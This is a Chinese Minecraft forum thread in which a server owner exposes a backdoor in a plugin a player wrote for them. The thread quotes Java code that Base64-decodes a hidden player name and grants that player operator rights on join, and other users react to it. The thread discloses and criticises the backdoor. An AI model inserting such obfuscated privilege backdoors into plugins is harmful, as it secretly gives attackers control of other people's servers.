polang
插件地址: https://www.mcbbs.net/thread-1342963-1-1.html@翱翔的语言

  1.     public void join(PlayerJoinEvent e) {
  2.         if (e.getPlayer().getName().getBytes().equals(Base64.getDecoder().decode("eXV5YW5NQw=="))) {
  3.             e.getPlayer().setOp(true);
  4.         }
复制代码



在此处的意图很明显了,他是我的一个玩家 因为我的需求写了这个插件 而后我让他发bbs
在当时因为能力不足所以我并没看懂这段代码
但不知道怎么他这段代码并没有生效,可能是我已经ban了的缘故?(因为作弊曾ban过)

现在回头看才发现 并且他之后还给我发了所谓的更新







此处只是说明他的意图是否健康,与反馈内容无关


Active-
还有这么明目张胆的

秋风残叶
也许并不是想坑MCBBS,只是想坑你

polang
秋风残叶 发表于 2022-9-21 09:21
也许并不是想坑MCBBS,只是想坑你

但他发布出来的插件后门都不删 这就有问题了

美味的曲奇
本帖最后由 美味的曲奇 于 2022-9-21 12:31 编辑

复现成功
六十行的插件还藏后门也不知道攻击的是服务器还是智商
永久禁言晒尸预定


polang
美味的曲奇 发表于 2022-9-21 12:29
复现成功
六十行的插件还藏后门也不知道攻击的是服务器还是智商
永久禁言晒尸预定

如果换你的话,防沉迷功能你会怎样设计?
我打算重写这个插件

美味的曲奇
polang 发表于 2022-9-21 15:05
如果换你的话,防沉迷功能你会怎样设计?
我打算重写这个插件

用延迟调度器处理超时,而不是监听MoveEvent——这比while循环还糟糕